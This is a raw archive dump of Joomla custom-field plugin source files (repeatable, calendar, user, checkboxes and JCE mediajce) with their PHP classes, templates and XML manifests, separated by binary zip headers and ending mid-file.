 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue === '')
{
	return;
}

// Get the values
$fieldValues = json_decode($fieldValue, true);

if (empty($fieldValues))
{
	return;
}

$html = '<ul>';

foreach ($fieldValues as $value)
{
	$html .= '<li>' . implode(', ', $value) . '</li>';
}

$html .= '</ul>';

echo $html;
PK�(]q.�)nn fields/repeatable/repeatable.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.8.0" group="fields" method="upgrade">
	<name>plg_fields_repeatable</name>
	<author>Joomla! Project</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_FIELDS_REPEATABLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="repeatable">repeatable.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.sys.ini</language>
	</languages>
</extension>
PK�(]N���� fields/repeatable/repeatable.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Repeatable
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\MVC\Model\BaseDatabaseModel;

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Repeatable plugin.
 *
 * @since  3.9.0
 */
class PlgFieldsRepeatable extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.9.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$readonly = false;

		if (!FieldsHelper::canEditFieldValue($field))
		{
			$readonly = true;
		}

		$fieldNode->setAttribute('type', 'subform');
		$fieldNode->setAttribute('multiple', 'true');
		$fieldNode->setAttribute('layout', 'joomla.form.field.subform.repeatable-table');

		// Build the form source
		$fieldsXml = new SimpleXMLElement('<form/>');
		$fields    = $fieldsXml->addChild('fields');

		// Get the form settings
		$formFields = $field->fieldparams->get('fields');

		// Add the fields to the form
		foreach ($formFields as $index => $formField)
		{
			$child = $fields->addChild('field');
			$child->addAttribute('name', $formField->fieldname);
			$child->addAttribute('type', $formField->fieldtype);
			$child->addAttribute('readonly', $readonly);

			if (isset($formField->fieldfilter))
			{
				$child->addAttribute('filter', $formField->fieldfilter);
			}
		}

		$fieldNode->setAttribute('formsource', $fieldsXml->asXML());

		// Return the node
		return $fieldNode;
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The article data
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $item, $isNew, $data = array())
	{
		// Create correct context for category
		if ($context == 'com_categories.category')
		{
			$context = $item->get('extension') . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			$item->set('catid', $item->get('id'));
		}

		// Check the context
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return true;
		}

		// Compile the right context for the fields
		$context = $parts[0] . '.' . $parts[1];

		// Loading the fields
		$fields = FieldsHelper::getFields($context, $item);

		if (!$fields)
		{
			return true;
		}

		// Get the fields data
		$fieldsData = !empty($data['com_fields']) ? $data['com_fields'] : array();

		// Loading the model
		/** @var FieldsModelField $model */
		$model = BaseDatabaseModel::getInstance('Field', 'FieldsModel', array('ignore_request' => true));

		// Loop over the fields
		foreach ($fields as $field)
		{
			// Find the field of this type repeatable
			if ($field->type !== $this->_name)
			{
				continue;
			}

			// Determine the value if it is available from the data
			$value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null;

			// Handle json encoded values
			if (!is_array($value))
			{
				$value = json_decode($value, true);
			}

			// Setting the value for the field and the item
			$model->setFieldValue($field->id, $item->get('id'), json_encode($value));
		}

		return true;
	}
}
PK�(]����#fields/calendar/params/calendar.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="showtime"
				type="radio"
				label="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_LABEL"
				description="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]��m��fields/calendar/calendar.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Calendar
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Calendar Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsCalendar extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		// Set filter to user UTC
		$fieldNode->setAttribute('filter', 'USER_UTC');

		// Set field to use translated formats
		$fieldNode->setAttribute('translateformat', '1');
		$fieldNode->setAttribute('showtime', $field->fieldparams->get('showtime', 0) ? 'true' : 'false');

		return $fieldNode;
	}
}
PK�(]��ZEDDfields/calendar/calendar.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_calendar</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_CALENDAR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="calendar">calendar.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_calendar.ini</language>
		<language tag="en-GB">en-GB.plg_fields_calendar.sys.ini</language>
	</languages>
</extension>
PK�(]�ӫ�$$!fields/calendar/tmpl/calendar.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Calendar
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

$formatString =  $field->fieldparams->get('showtime', 0) ? 'DATE_FORMAT_LC5' : 'DATE_FORMAT_LC4';

echo htmlentities(JHtml::_('date', $value, JText::_($formatString)));
PK�(]��NH��fields/user/tmpl/user.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.User
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$value = (array) $value;
$texts = array();

foreach ($value as $userId)
{
	if (!$userId)
	{
		continue;
	}

	$user = JFactory::getUser($userId);

	if ($user)
	{
		// Use the Username
		$texts[] = $user->name;
		continue;
	}

	// Fallback and add the User ID if we get no JUser Object
	$texts[] = $userId;
}

echo htmlentities(implode(', ', $texts));
PK�(]-�gW��fields/user/params/user.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="default_value"
		type="user"
		label="PLG_FIELDS_USER_DEFAULT_VALUE_LABEL"
		description="PLG_FIELDS_USER_DEFAULT_VALUE_DESC"
	/>
	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">
			<field
				name="show_on"
				type="hidden"
				filter="unset"
			/>
		</fieldset>
	</fields>
</form>
PK�(]�;pfields/user/user.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_user</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_USER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="user">user.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_user.ini</language>
		<language tag="en-GB">en-GB.plg_fields_user.sys.ini</language>
	</languages>
</extension>
PK�(]ӸR�fields/user/user.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.User
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields User Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUser extends FieldsPlugin
{

	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		if (JFactory::getApplication()->isClient('site'))
		{
			// The user field is not working on the front end
			return;
		}

		return parent::onCustomFieldsPrepareDom($field, $parent, $form);
	}
}
PK�(]�ٸYvv%fields/checkboxes/tmpl/checkboxes.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Checkboxes
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue === '' || $fieldValue === null)
{
	return;
}

$fieldValue = (array) $fieldValue;
$texts      = array();
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name)
{
	if (in_array((string) $value, $fieldValue))
	{
		$texts[] = JText::_($name);
	}
}

echo htmlentities(implode(', ', $texts));
PK�(]��b��'fields/checkboxes/params/checkboxes.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]��I�;; fields/checkboxes/checkboxes.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_checkboxes</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_CHECKBOXES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="checkboxes">checkboxes.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_checkboxes.ini</language>
		<language tag="en-GB">en-GB.plg_fields_checkboxes.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]���� fields/checkboxes/checkboxes.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Checkboxes
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Checkboxes Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsCheckboxes extends FieldsListPlugin
{
}
PK�(]!p��!fields/mediajce/tmpl/mediajce.phpnu�[���<?php

/**
 * @package     JCE
 * @subpackage  Fields.MediaJce
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 - 2023 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Path;
use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\Helper\MediaHelper;

if (empty($field->value) || empty($field->value['media_src']))
{
	return;
}

$data = array(
    'media_src'         => '',
    'media_text'        => (string) $fieldParams->get('media_description', ''),
    'media_type'        => (string) $fieldParams->get('mediatype', 'embed'),
    'media_target'      => (string) $fieldParams->get('media_target', ''),
    'media_class'       => (string) $fieldParams->get('media_class', ''),
    'media_caption'     => '',
    'media_supported'   => array('img', 'video', 'audio', 'iframe', 'a')
);

foreach($field->value as $key => $value) {
	if (empty($value)) {
		continue;
	}
	
	$data[$key] = $value;
}

// convert to object
$data = (object) $data;

// convert legacy value
if (isset($data->src)) {
    $data->media_src = $data->src;
}

// clean Joomla 4 media stuff
if ($pos = strpos($data->media_src, '#')) {
    $data->media_src = substr($data->media_src, 0, $pos);
}

$allowable = array(
    'img'       => 'jpg,jpeg,png,gif',
    'audio'     => 'mp3,m4a,mp4a,ogg',
    'video'     => 'mp4,mp4v,mpeg,mov,webm',
    'iframe'    => 'doc,docx,odg,odp,ods,odt,pdf,ppt,pptx,txt,xcf,xls,xlsx,csv'
);

// get file extension to determine tag
$extension = File::getExt($data->media_src);
// lowercase
$extension = strtolower($extension);

// get tag from extension
array_walk($allowable, function ($values, $key) use ($extension, &$tag) {
    if (in_array($extension, explode(',', $values))) {
        $tag = $key;
    }
});

// reset media_type as link
if (false == in_array($tag, $data->media_supported)) {
    $data->media_type = 'link';
}

// reset tag type
if ($data->media_type == 'link') {
    $tag = 'a';
}

$attribs = array();

if ($data->media_class) {
    $data->media_class = preg_replace('#[^-\w ]#i', '', $data->media_class);
    $attribs['class'] = trim($data->media_class);
}

$text = '';

if ($data->media_text) {
    $text = htmlentities($data->media_text, ENT_COMPAT, 'UTF-8', true);
}

switch ($tag) {
    case 'a':
    default:
        $element = '<a href="%s"%s>%s</a>';
        break;
    case 'img':
        $element = '<img src="%s"%s alt="%s" />';

        $attribs['width']    = isset($data->media_width) ? $data->media_width : '';
        $attribs['height']   = isset($data->media_height) ? $data->media_height : '';
        $attribs['loading']  = 'lazy';
        break;
    case 'audio':
        $element = '<audio src="%s"%s></audio>';
        $attribs['controls'] = 'controls';

        if ($text) {
            $attribs['title'] = $text;
        }

        break;
    case 'video':
        $element = '<video src="%s"%s></video>';
        $attribs['controls'] = 'controls';

        $attribs['width']    = isset($data->media_width) ? $data->media_width : '';
        $attribs['height']   = isset($data->media_height) ? $data->media_height : '';

        if ($text) {
            $attribs['title'] = $text;
        }

        break;
    case 'iframe':
        $element = '<iframe src="%s"%s></iframe>';

        $attribs['frameborder'] = 0;
        $attribs['width']    = isset($data->media_width) ? $data->media_width : '100%';
        $attribs['height']   = isset($data->media_height) ? $data->media_height : '100%';
        $attribs['loading']  = 'lazy';

        if ($text) {
            $attribs['title'] = $text;
        }

        break;
}

if ($data->media_type == 'embed' && $data->media_caption) {
    $fig_attribs = '';
    $caption_class = (string) $fieldParams->get('media_caption_class', '');

    if ($caption_class) {
        $caption_class = preg_replace('#[^ \w-]#i', '', $caption_class);
        $fig_attribs = ' class="' . $caption_class . '"';
    }

    $element = '<figure' . $fig_attribs . '>' . $element . '<figcaption>' . htmlentities($data->media_caption, ENT_COMPAT, 'UTF-8', true) . '</figcaption></figure>';
}

$buffer = '';

// perform pcre replacement of common invalid characters
$path = preg_replace('#[\+\\\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]#u', '', $data->media_src);

// trim
$path = trim($path);

// check for valid path after clean
if ($path) {

    // clean path
    $path = Path::clean($path);

    // create full path
    $fullpath = JPATH_SITE . '/' . trim($path, '/');

    // check path is valid
    if (is_file($fullpath)) {
        // set text as basename if not an image
        if (!$text && $data->media_type == "link") {
            $text = basename($path);

            if ($data->media_target) {
                if ($data->media_target == 'download') {
                    $attribs['download'] = $path;
                } else {
                    $attribs['target'] = $data->media_target;
                }
            }
        }

        $buffer .= sprintf(
            $element,
            htmlentities($path, ENT_COMPAT, 'UTF-8', true),
            ArrayHelper::toString($attribs),
            $text
        );
    }
}

echo $buffer;PK�(]v!ie
e
fields/mediajce/mediajce.phpnu�[���<?php
/**
 * @package     JCE
 * @subpackage  Fields.MediaJce
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 - 2023 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;

// use legacy import to support J3.9
JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

Form::addFieldPath(__DIR__ . '/fields');

/**
 * Fields MediaJce Plugin
 *
 * @since  2.6.27
 */
class PlgFieldsMediaJce extends FieldsPlugin
{    
    /**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   Form        $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, Form $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldParams = clone $this->params;
        $fieldParams->merge($field->fieldparams);

		// reset from parent
		$fieldNode->setAttribute('type', 'mediajce');

		if ((int) $fieldParams->get('extendedmedia', 0) == 1) {
			$fieldNode->setAttribute('type', 'extendedmedia');
		}

		return $fieldNode;
	}

	/**
	 * Before prepares the field value.
	 *
	 * @param   string     $context  The context.
	 * @param   \stdclass  $item     The item.
	 * @param   \stdclass  $field    The field.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsBeforePrepareField($context, $item, $field)
	{
		// Check if the field should be processed by us
		if (!$this->isTypeSupported($field->type))
		{
			return;
		}

		// Check if the field value is an old (string) value
		$field->value = $this->checkValue($field->value);

		$fieldParams = clone $this->params;
        $fieldParams->merge($field->fieldparams);

		// if extendedmedia is disabled, use restricted media support
		if ((int) $fieldParams->get('extendedmedia', 0) == 0) {
			$field->value['media_supported'] = array('img', 'a');
		}
	}

	/**
	 * Before prepares the field value.
	 *
	 * @param   string  $value  The value to check.
	 *
	 * @return  array  The checked value
	 *
	 * @since   4.0.0
	 */
	private function checkValue($value)
	{
		json_decode($value);

		if (json_last_error() === JSON_ERROR_NONE)
		{
			return (array) json_decode($value, true);
		}

		return array('media_src' => $value, 'media_text' => '');
	}
}PK�(]wN�uxxfields/mediajce/mediajce.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.8" group="fields" method="upgrade">
	<name>plg_fields_mediajce</name>
	 <version>2.9.38</version>
  	<creationDate>27-06-2023</creationDate>
  	<author>Ryan Demmer</author>
  	<authorEmail>info@joomlacontenteditor.net</authorEmail>
  	<authorUrl>https://www.joomlacontenteditor.net</authorUrl>
  	<copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
  	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_FIELDS_MEDIAJCE_XML_DESCRIPTION</description>
	<files folder="plugins/fields/mediajce">
		<filename plugin="mediajce">mediajce.php</filename>
		<folder>fields</folder>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages folder="administrator/language/en-GB">
		<language tag="en-GB">en-GB.plg_fields_mediajce.ini</language>
		<language tag="en-GB">en-GB.plg_fields_mediajce.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<!--field
					name="extendedmedia"
					type="list"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_EXTENDEDMEDIA_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_EXTENDEDMEDIA_DESC"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
				</field-->
				<field
					name="mediatype"
					type="combo"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC"
					layout="joomla.form.field.list-fancy-select"
				>
				<option value="images">images</option>
				<option value="media">media</option>
				<option value="documents">documents</option>
				<option value="files">files</option>
				</field>
				<field
					name="media_class"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC"
				/>
				<field
					name="media_description"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]&�Ao		#fields/mediajce/params/mediajce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
			<fieldset name="fieldparams">
				<field
					name="extendedmedia"
					type="list"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_EXTENDEDMEDIA_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_EXTENDEDMEDIA_DESC"
					default="0"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
				</field>
				
				<field
					name="mediatype"
					type="combo"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC"
				>
				<option value="images">images</option>
				<option value="media">media</option>
				<option value="documents">documents</option>
				<option value="files">files</option>
				</field>
				<field
					name="media_class"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC"
				/>
				<field
					name="media_description"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC"
				/>

				<field
					name="media_target"
					type="list"
					default=""
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DESC"
					showon="mediatype!:images"
				>
                    <option value=""></option>
					<option value="_blank">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_BLANK</option>
					<option value="_self">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_SELF</option>
                    <option value="_parent">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_PARENT</option>
                    <option value="_top">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_TOP</option>
					<option value="download">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DOWNLOAD</option>
				</field>

				<field
					name="media_folder"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_FOLDER_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_FOLDER_DESC"
				/>

				<field
					name="media_caption_class"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CAPTION_CLASS_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CAPTION_CLASS_DESC"
					showon="extendedmedia:1"
				/>
			</fieldset>
		</fields>
</form>
PK�(]뭘�!�!#fields/mediajce/fields/mediajce.phpnu�[���<?php
/**
 * @package     JCE
 * @subpackage  Fields.MediaJce
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 - 2023 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\Field\MediaField;
use Joomla\CMS\Helper\MediaHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\Registry\Registry;

/**
 * Provides a modal media selector field for the JCE File Browser
 *
 * @since  2.6.17
 */
class JFormFieldMediaJce extends MediaField
{
    /**
     * The form field type.
     *
     * @var    string
     */
    protected $type = 'MediaJce';

    /**
     * Layout to render
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'joomla.form.field.media';

     /**
     * The mediatype for the form field.
     *
     * @var    string
     * @since  2.9.37
     */
    protected $mediatype = 'images';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {                
        // decode value if it is a string
        if (is_string($value)) {
            $json = json_decode($value, true);

            if ($json) {
                $value = isset($json['media_src']) ? $json['media_src'] : $value;
            }
        } elseif (is_array($value)) {
            $value = isset($value['media_src']) ? $value['media_src'] : '';
        }     
        
        $result = parent::setup($element, $value, $group);

        if ($result === true) {
            $this->mediatype = isset($this->element['mediatype']) ? (string) $this->element['mediatype'] : 'images';

            if (isset($this->types) && (bool) $this->element['converted'] === false) {
                $this->value = MediaHelper::getCleanMediaFieldValue($this->value);
            }
        }

        return $result;
    }

    /**
     * Get the data that is going to be passed to the layout
     *
     * @return  array
     */
    public function getLayoutData()
    {
        // component must be installed and enabled
        if (!ComponentHelper::isEnabled('com_jce')) {
            return parent::getLayoutData();
        }
        
        require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';

        $config = array(
            'element' => $this->id,
            'mediatype' => strtolower($this->mediatype),
            'converted' => (int) $this->element['converted'] ? true : false
        );

        $options = WFBrowserHelper::getMediaFieldOptions($config);

        $this->link = $options['url'];

        // Get the basic field data
        $data = parent::getLayoutData();

        // not a valid file browser link
        if (!$this->link) {
            return $data;
        }

        if ($this->element['media_folder']) {
            $this->link .= '&mediafolder=' . rawurlencode($this->element['media_folder']);
        }

        $extraData = array(
            'link'      => $this->link,
            'class'     => $this->element['class'] . ' input-medium wf-media-input wf-media-input-active'
        );
        
        if ($options['upload']) {
            $extraData['class'] .= ' wf-media-input-upload';
        }

        if ($config['converted']) {
            $extraData['class'] .= ' wf-media-input-converted';
        } else {
            $extraData['class'] .= ' wf-media-input-core';
        }

        // Joomla 4
        if (isset($this->types)) {            
            $mediaData = array(
                'imagesAllowedExt'    => '',
                'audiosAllowedExt'    => '',
                'videosAllowedExt'    => '',
                'documentsAllowedExt' => ''
            );

